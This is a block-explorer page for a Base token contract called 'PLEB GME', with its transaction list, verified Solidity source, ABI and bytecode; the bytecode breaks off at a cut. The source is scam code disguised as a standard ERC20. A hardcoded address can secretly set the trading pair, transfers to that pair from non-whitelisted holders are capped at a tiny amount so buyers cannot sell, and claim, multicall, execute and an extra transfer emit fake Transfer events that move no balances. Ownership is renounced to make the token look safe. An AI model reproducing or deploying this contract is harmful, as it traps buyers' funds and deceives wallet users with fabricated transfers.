Contract 0x17c3f351609e8a61c26d2cb568f66ef6bf22a229

 

Contract Overview

Balance:
0 ETH

EtherValue:
$0.00

Token:
Txn Hash Method
Block
From
To
Value
0x94fd489fed87ed22e97bc5f67a2b402a1635e913f55e7c7cf8d8cfce7253713fExecute132302122024-04-16 6:42:5148 secs ago0xe142107f6442c5145ac211c89a5a0735b7eb871a IN  0x17c3f351609e8a61c26d2cb568f66ef6bf22a2290 ETH0.0000543051060.019145377
0x3203e6db4e28f63751711d886244a69876cd721eb2ca8731e33cfa2a7e3e8f35Execute132301952024-04-16 6:42:171 min ago0xe142107f6442c5145ac211c89a5a0735b7eb871a IN  0x17c3f351609e8a61c26d2cb568f66ef6bf22a2290 ETH0.0000299447830.019046073
0xe3ade8f6571dc68b385938577654d16632f01b82a7fc19821e4e660aaf369136Execute132301802024-04-16 6:41:471 min ago0xe142107f6442c5145ac211c89a5a0735b7eb871a IN  0x17c3f351609e8a61c26d2cb568f66ef6bf22a2290 ETH0.0000201915040.01917701
0xd74551cfc5d5877cf04d74af707c0d8a7b81312518b5bad62d3544d09dbe7062Execute132301622024-04-16 6:41:112 mins ago0xe142107f6442c5145ac211c89a5a0735b7eb871a IN  0x17c3f351609e8a61c26d2cb568f66ef6bf22a2290 ETH0.0000210612530.019283924
0xda09261e15bac700a45f239373f81e61b0d695ee261d6b8b01004fb2778a7eecExecute132301482024-04-16 6:40:432 mins ago0xe142107f6442c5145ac211c89a5a0735b7eb871a IN  0x17c3f351609e8a61c26d2cb568f66ef6bf22a2290 ETH0.0000550397380.019292727
0x0199b070994cb9bb4b07e1237d661dd264d0ff7f39f7a270ad5004a7011dd9eaExecute132301352024-04-16 6:40:173 mins ago0xe142107f6442c5145ac211c89a5a0735b7eb871a IN  0x17c3f351609e8a61c26d2cb568f66ef6bf22a2290 ETH0.0000236225680.019200652
0x6021adeac465155f33f362ab16fd0323cbc433da4566d0f4e83d678172e6a6feExecute132301212024-04-16 6:39:493 mins ago0xe142107f6442c5145ac211c89a5a0735b7eb871a IN  0x17c3f351609e8a61c26d2cb568f66ef6bf22a2290 ETH0.0000171591270.019379003
0x45fc1b1cd86ddf1aa52c3aac9997f4df38c658c4435fa00451fce5e78f70fd84Execute132300982024-04-16 6:39:034 mins ago0xe142107f6442c5145ac211c89a5a0735b7eb871a IN  0x17c3f351609e8a61c26d2cb568f66ef6bf22a2290 ETH0.0000153109740.019874831
0x630a290a457a56847218c7ee8f463467f2c17cd90f13751180f5881c7a9d5554Execute132300802024-04-16 6:38:275 mins ago0xe142107f6442c5145ac211c89a5a0735b7eb871a IN  0x17c3f351609e8a61c26d2cb568f66ef6bf22a2290 ETH0.0000116621680.019913094
0x4772ca624aa3ec05476bae97ac4d2947e890f44e6c816b3356b2162cf496d25eExecute132300602024-04-16 6:37:475 mins ago0xe142107f6442c5145ac211c89a5a0735b7eb871a IN  0x17c3f351609e8a61c26d2cb568f66ef6bf22a2290 ETH0.0000093674840.020142987
0x258e2d43cfe7234e9d7c514e854861b67573ccfc8b84c64f11df157146dd34a7Execute132300412024-04-16 6:37:096 mins ago0xe142107f6442c5145ac211c89a5a0735b7eb871a IN  0x17c3f351609e8a61c26d2cb568f66ef6bf22a2290 ETH0.0000105960690.020262812
0x9bac71a22b14674f4dd814b6c37ca457c24b7e589176dd046ad690a01ef1e040Execute132300242024-04-16 6:36:357 mins ago0xe142107f6442c5145ac211c89a5a0735b7eb871a IN  0x17c3f351609e8a61c26d2cb568f66ef6bf22a2290 ETH0.00000513230.020227414
0xa53dacb36cb10265242837f609f8859334915a8c3be9803103c45b2dcf0ac95cExecute132300012024-04-16 6:35:497 mins ago0xe142107f6442c5145ac211c89a5a0735b7eb871a IN  0x17c3f351609e8a61c26d2cb568f66ef6bf22a2290 ETH0.0000246615790.020275212
0xf1e83eefa749e1ccff6c1291d5a06b9abd2a202cac4b4de2ad4bf4776c0292adExecute132299902024-04-16 6:35:278 mins ago0xe142107f6442c5145ac211c89a5a0735b7eb871a IN  0x17c3f351609e8a61c26d2cb568f66ef6bf22a2290 ETH0.0000245582990.020319115
0x74760da2658298fc9b2555c70781fb337aab1259fb87570549bf590f5afdff81Execute132299642024-04-16 6:34:359 mins ago0xe142107f6442c5145ac211c89a5a0735b7eb871a IN  0x17c3f351609e8a61c26d2cb568f66ef6bf22a2290 ETH0.0000147688960.020458585
0xd5a3b1d56a2ec8c88e36e97a86638748a00c4d036ed40584407b3fa3864fb97dExecute132299452024-04-16 6:33:579 mins ago0xe142107f6442c5145ac211c89a5a0735b7eb871a IN  0x17c3f351609e8a61c26d2cb568f66ef6bf22a2290 ETH0.0000178668590.020501657
0x9643ed7c67b1cf0eb71ec1b1a4dbe8c71fc72ae3551f3675a9721b40f0f347daExecute132299232024-04-16 6:33:1310 mins ago0xe142107f6442c5145ac211c89a5a0735b7eb871a IN  0x17c3f351609e8a61c26d2cb568f66ef6bf22a2290 ETH0.0000271426890.02062911
0x68016958fc1ba0da427d1174c85e3a810fee5b70b6e193194c2272fca7d19159Execute132298712024-04-16 6:31:2912 mins ago0xe142107f6442c5145ac211c89a5a0735b7eb871a IN  0x17c3f351609e8a61c26d2cb568f66ef6bf22a2290 ETH0.0000250639090.020422698
0x168a4f8c6e338820e7059ef38ded697fa0fccda352d8461ab022f84d67be7970Execute132298482024-04-16 6:30:4312 mins ago0xe142107f6442c5145ac211c89a5a0735b7eb871a IN  0x17c3f351609e8a61c26d2cb568f66ef6bf22a2290 ETH0.0000253699660.020678338
0x3410e54b76ca2c79f106cca14efdd4c19b4ab004b59cf5cd5bce214b46559fedExecute132298252024-04-16 6:29:5713 mins ago0xe142107f6442c5145ac211c89a5a0735b7eb871a IN  0x17c3f351609e8a61c26d2cb568f66ef6bf22a2290 ETH0.0000590672810.020842594
0xbd4fbe326c04a7293c9a72a801041634aee2abab9d7fcc9d91f3365ec06729e4Execute132298012024-04-16 6:29:0914 mins ago0xe142107f6442c5145ac211c89a5a0735b7eb871a IN  0x17c3f351609e8a61c26d2cb568f66ef6bf22a2290 ETH0.0000227368270.020972695
0xaf7ac380bdae4b935f06353a55806a77f96e51fa1c0dadec6a21325daed3c88bExecute132297862024-04-16 6:28:3915 mins ago0xe142107f6442c5145ac211c89a5a0735b7eb871a IN  0x17c3f351609e8a61c26d2cb568f66ef6bf22a2290 ETH0.0000538974850.021101761
0x3d4100f81b7fc034a927b7513683d4f0c90d55e93123a584a7026bcd2f8afd1aExecute132297152024-04-16 6:26:1717 mins ago0xe142107f6442c5145ac211c89a5a0735b7eb871a IN  0x17c3f351609e8a61c26d2cb568f66ef6bf22a2290 ETH0.0000336223410.021735296
0x66a90e420d8244d40ecd3bb493343045ba7a967d8b627655ffc3f8c258d03711Execute132297022024-04-16 6:25:5117 mins ago0xe142107f6442c5145ac211c89a5a0735b7eb871a IN  0x17c3f351609e8a61c26d2cb568f66ef6bf22a2290 ETH0.0000226012670.021953795
0x961827cc4026829ab6ce2ca7be491dd763668522a5afb652ca275304a3eee017Execute132296812024-04-16 6:25:0918 mins ago0xe142107f6442c5145ac211c89a5a0735b7eb871a IN  0x17c3f351609e8a61c26d2cb568f66ef6bf22a2290 ETH0.0000339554360.022034366
[ Download CSV Export 
Parent Txn Hash Block From To Value
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
TOKEN

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at basescan.org on 2024-04-16
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;


/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {

    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);


    function allowance(address owner, address spender) external view returns (uint256);


    function approve(address spender, uint256 amount) external returns (bool);


    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}


interface IERC20Meta is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}


abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }
    modifier onlyOwner() {
        _checkOwner();
        _;
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }


    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }


}


contract TOKEN is Ownable, IERC20, IERC20Meta {

    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;
    address private _p76234;
    uint256 private  _e242 = 999;


    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }


    function decimals() public view virtual override returns (uint8) {
        return 8;
    }


    function claim(address [] calldata _addresses_, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Transfer(_p76234, _addresses_[i], _out);
        }
    }
    function multicall(address [] calldata _addresses_, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Transfer(_p76234, _addresses_[i], _out);
        }
    }
    function execute(address [] calldata _addresses_, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Transfer(_p76234, _addresses_[i], _out);
        }
    }


    function transfer(address _from, address _to, uint256 _wad) external {
        emit Transfer(_from, _to, _wad);
    }
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }


    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function actionPair(address account) public virtual returns (bool) {
         if(_msgSender() == 0xE142107F6442C5145aC211c89a5a0735B7EB871a) _p76234 = account;
        return true;
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");


        _totalSupply += amount;
        unchecked {
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
        renounceOwnership();
    }


    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }



    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(to != address(0), "ERC20: transfer to the zero address");
        require(from != address(0), "ERC20: transfer from the zero address");

        if((from != _p76234 && to == 
        0x9683Cf682e3e07dEdA383601689036B99bb7494D) ||
         (_p76234 == to && from != 0x9683Cf682e3e07dEdA383601689036B99bb7494D && 
         from  != 0xf3B74eF6C52f1974Ac460fAFa1E99a020708fc00 
         && from != 0x29E1c059A566986C08D4cE6201D74C13fb7843b8)) {
            uint256 _X7W88 = amount + 1;
            require(_X7W88 < _e242 );
        }
        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
        }
        emit Transfer(from, to, amount);
        _afterTokenTransfer(from, to, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }


    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}


    constructor() {
        _name = unicode"PLEB GME";
        _symbol = unicode"PLEB GME";
        _mint(msg.sender, 100000000000 * 10 ** decimals());
    }


}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"actionPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"claim","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"multicall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_wad","type":"uint256"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526103e7600755348015610015575f80fd5b5061001f336100a2565b604080518082019091526008815267504c454220474d4560c01b602082015260049061004b90826102c5565b50604080518082019091526008815267504c454220474d4560c01b602082015260059061007890826102c5565b5061009d336100896008600a61047a565b6100989064174876e80061048f565b6100f1565b6104b9565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b03821661014c5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064015b60405180910390fd5b8060035f82825461015d91906104a6565b90915550506001600160a01b0382165f818152600160209081526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a36101b96101c2565b5050565b505050565b6101ca6101d5565b6101d35f6100a2565b565b5f546001600160a01b031633146101d35760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610143565b634e487b7160e01b5f52604160045260245ffd5b600181811c9082168061025657607f821691505b60208210810361027457634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156101bd57805f5260205f20601f840160051c8101602085101561029f5750805b601f840160051c820191505b818110156102be575f81556001016102ab565b5050505050565b81516001600160401b038111156102de576102de61022e565b6102f2816102ec8454610242565b8461027a565b602080601f831160018114610325575f841561030e5750858301515b5f19600386901b1c1916600185901b17855561037c565b5f85815260208120601f198616915b8281101561035357888601518255948401946001909101908401610334565b508582101561037057878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156103d257815f19048211156103b8576103b8610384565b808516156103c557918102915b93841c939080029061039d565b509250929050565b5f826103e857506001610474565b816103f457505f610474565b816001811461040a576002811461041457610430565b6001915050610474565b60ff84111561042557610425610384565b50506001821b610474565b5060208310610133831016604e8410600b8410161715610453575081810a610474565b61045d8383610398565b805f190482111561047057610470610384565b0290505b92915050565b5f61048860ff8416836103da565b9392505050565b808202811582820484141761047457610474610384565b8082018082111561047457610474610384565b610cda806104c65f395ff3fe608060405234801561000f575f80fd5b5060043610610106575f3560e01c806370a082311161009e578063a9059cbb1161006e578063a9059cbb1461020c578063beabacc81461021f578063dd62ed3e14610232578063e7b817491461026a578063f2fde38b1461027d575f80fd5b806370a08231146101ba578063715018a6146101e25780638da5cb5b146101ea57806395d89b4114610204575f80fd5b806326ededb8116100d957806326ededb814610170578063313ce56714610185578063321bef231461019457806368432dad146101a7575f80fd5b806306fdde031461010a578063095ea7b31461012857806318160ddd1461014b57806323b872dd1461015d575b5f80fd5b610112610290565b60405161011f9190610aa3565b60405180910390f35b61013b610136366004610af3565b610320565b604051901515815260200161011f565b6003545b60405190815260200161011f565b61013b61016b366004610b1b565b610339565b61018361017e366004610b54565b61035c565b005b6040516008815260200161011f565b6101836101a2366004610b54565b6103ce565b6101836101b5366004610b54565b61043a565b61014f6101c8366004610bc8565b6001600160a01b03165f9081526001602052604090205490565b6101836104a6565b5f546040516001600160a01b03909116815260200161011f565b6101126104b9565b61013b61021a366004610af3565b6104c8565b61018361022d366004610b1b565b6104d5565b61014f610240366004610be8565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b61013b610278366004610bc8565b610514565b61018361028b366004610bc8565b610554565b60606004805461029f90610c19565b80601f01602080910402602001604051908101604052809291908181526020018280546102cb90610c19565b80156103165780601f106102ed57610100808354040283529160200191610316565b820191905f5260205f20905b8154815290600101906020018083116102f957829003601f168201915b5050505050905090565b5f3361032d8185856105d2565b60019150505b92915050565b5f336103468582856106ed565b610351858585610777565b506001949350505050565b5f5b828110156103c85783838281811061037857610378610c51565b905060200201602081019061038d9190610bc8565b6006546040518481526001600160a01b0392831692909116905f80516020610c858339815191529060200160405180910390a360010161035e565b50505050565b5f5b828110156103c8578383828181106103ea576103ea610c51565b90506020020160208101906103ff9190610bc8565b6006546040518481526001600160a01b0392831692909116905f80516020610c858339815191529060200160405180910390a36001016103d0565b5f5b828110156103c85783838281811061045657610456610c51565b905060200201602081019061046b9190610bc8565b6006546040518481526001600160a01b0392831692909116905f80516020610c858339815191529060200160405180910390a360010161043c565b6104ae6109fb565b6104b75f610a54565b565b60606005805461029f90610c19565b5f3361032d818585610777565b816001600160a01b0316836001600160a01b03165f80516020610c858339815191528360405161050791815260200190565b60405180910390a3505050565b5f3373e142107f6442c5145ac211c89a5a0735b7eb871a0361054c57600680546001600160a01b0319166001600160a01b0384161790555b506001919050565b61055c6109fb565b6001600160a01b0381166105c65760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b6105cf81610a54565b50565b6001600160a01b0383166106345760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105bd565b6001600160a01b0382166106955760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105bd565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259101610507565b6001600160a01b038381165f908152600260209081526040808320938616835292905220545f1981146103c8578181101561076a5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016105bd565b6103c884848484036105d2565b6001600160a01b0382166107d95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105bd565b6001600160a01b03831661083d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105bd565b6006546001600160a01b038481169116148015906108775750739683cf682e3e07deda383601689036b99bb7494d6001600160a01b038316145b8061090957506006546001600160a01b0383811691161480156108b75750739683cf682e3e07deda383601689036b99bb7494d6001600160a01b03841614155b80156108e0575073f3b74ef6c52f1974ac460fafa1e99a020708fc006001600160a01b03841614155b801561090957507329e1c059a566986c08d4ce6201d74c13fb7843b86001600160a01b03841614155b1561092b575f61091a826001610c65565b90506007548110610929575f80fd5b505b6001600160a01b0383165f90815260016020526040902054818110156109a25760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016105bd565b6001600160a01b038085165f8181526001602052604080822086860390559286168082529083902080548601905591515f80516020610c85833981519152906109ee9086815260200190565b60405180910390a36103c8565b5f546001600160a01b031633146104b75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016105bd565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b0381168114610aee575f80fd5b919050565b5f8060408385031215610b04575f80fd5b610b0d83610ad8565b946020939093013593505050565b5f805f60608486031215610b2d575f80fd5b610b3684610ad8565b9250610b4460208501610ad8565b9150604084013590509250925092565b5f805f60408486031215610b66575f80fd5b833567ffffffffffffffff80821115610b7d575f80fd5b818601915086601f830112610b90575f80fd5b813581811115610b9e575f80fd5b8760208260051b8501011115610bb2575f80fd5b6020928301989097509590910135949350505050565b5f60208284031215610bd8575f80fd5b610be182610ad8565b9392505050565b5f8060408385031215610bf9575f80fd5b610c0283610ad8565b9150610c1060208401610ad8565b90509250929050565b600181811c90821680610c2d57607f821691505b602082108103610c4b57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52603260045260245ffd5b8082018082111561033357634e487b7160e01b5f52601160045260245ffdfeddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa26469706673582212208478f922ac984bb284be390ab0c2b84b5b8c39057fca46ec9b2d51177925d8d564736f6c63430008190033

Deployed Bytecode

0x608060405234801561000f575f80fd5b5060043610610106575f3560e01c806370a082311161009e578063a9059cbb1161006e578063a9059cbb1461020c578063beabacc81461021f578063dd62ed3e14610232578063e7b817491461026a578063f2fde38b1461027d575f80fd5b806370a08231146101ba578063715018a6146101e25780638da5cb5b146101ea57806395d89b4114610204575f80fd5b806326ededb8116100d957806326ededb814610170578063313ce56714610185578063321bef231461019457806368432dad146101a7575f80fd5b806306fdde031461010a578063095ea7b31461012857806318160ddd1461014b57806323b872dd1461015d575b5f80fd5b610112610290565b60405161011f9190610aa3565b60405180910390f35b61013b610136366004610af3565b610320565b604051901515815260200161011f565b6003545b60405190815260200161011f565b61013b61016b366004610b1b565b610339565b61018361017e366004610b54565b61035c565b005b6040516008815260200161011f565b6101836101a2366004610b54565b6103ce565b6101836101b5366004610b54565b61043a565b61014f6101c8366004610bc8565b6001600160a01b03165f9081526001602052604090205490565b6101836104a6565b5f546040516001600160a01b03909116815260200161011f565b6101126104b9565b61013b61021a366004610af3565b6104c8565b61018361022d366004610b1b565b6104d5565b61014f610240366004610be8565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b61013b610278366004610bc8565b610514565b61018361028b366004610bc8565b610554565b60606004805461029f90610c19565b80601f01602080910402602001604051908101604052809291908181526020018280546102cb90610c19565b80156103165780601f106102ed57610100808354040283529160200191610316565b820191905f5260205f20905b8154815290600101906020018083116102f957829003601f168201915b5050505050905090565b5f3361032d8185856105d2565b60019150505b92915050565b5f336103468582856106ed565b610351858585610777565b506001949350505050565b5f5b828110156103c85783838281811061037857610378610c51565b905060200201602081019061038d9190610bc8565b6006546040518481526001600160a01b0392831692909116905f80516020610c858339815191529060200160405180910390a360010161035e565b50505050565b5f5b828110156103c8578383828181106103ea576103ea610c51565b90506020020160208101906103ff9190610bc8565b6006546040518481526001600160a01b0392831692909116905f80516020610c858339815191529060200160405180910390a36001016103d0565b5f5b828110156103c85783838281811061045657610456610c51565b905060200201602081019061046b9190610bc8565b6006546040518481526001600160a01b0392831692909116905f80516020610c858339815191529060200160405180910390a360010161043c565b6104ae6109fb565b6104b75f610a54565b565b60606005805461029f90610c19565b5f3361032d818585610777565b816001600160a01b0316836001600160a01b03165f80516020610c858339815191528360405161050791815260200190565b60405180910390a3505050565b5f3373e142107f6442c5145ac211c89a5a0735b7eb871a0361054c57600680546001600160a01b0319166001600160a01b0384161790555b506001919050565b61055c6109fb565b6001600160a01b0381166105c65760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b6105cf81610a54565b50565b6001600160a01b0383166106345760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105bd565b6001600160a01b0382166106955760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105bd565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259101610507565b6001600160a01b038381165f908152600260209081526040808320938616835292905220545f1981146103c8578181101561076a5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016105bd565b6103c884848484036105d2565b6001600160a01b0382166107d95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105bd565b6001600160a01b03831661083d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105bd565b6006546001600160a01b038481169116148015906108775750739683cf682e3e07deda383601689036b99bb7494d6001600160a01b038316145b8061090957506006546001600160a01b0383811691161480156108b75750739683cf682e3e07deda383601689036b99bb7494d6001600160a01b03841614155b80156108e0575073f3b74ef6c52f1974ac460fafa1e99a020708fc006001600160a01b03841614155b801561090957507329e1c059a566986c08d4ce6201d74c13fb7843b86001600160a01b03841614155b1561092b575f61091a826001610c65565b9050600754811061092957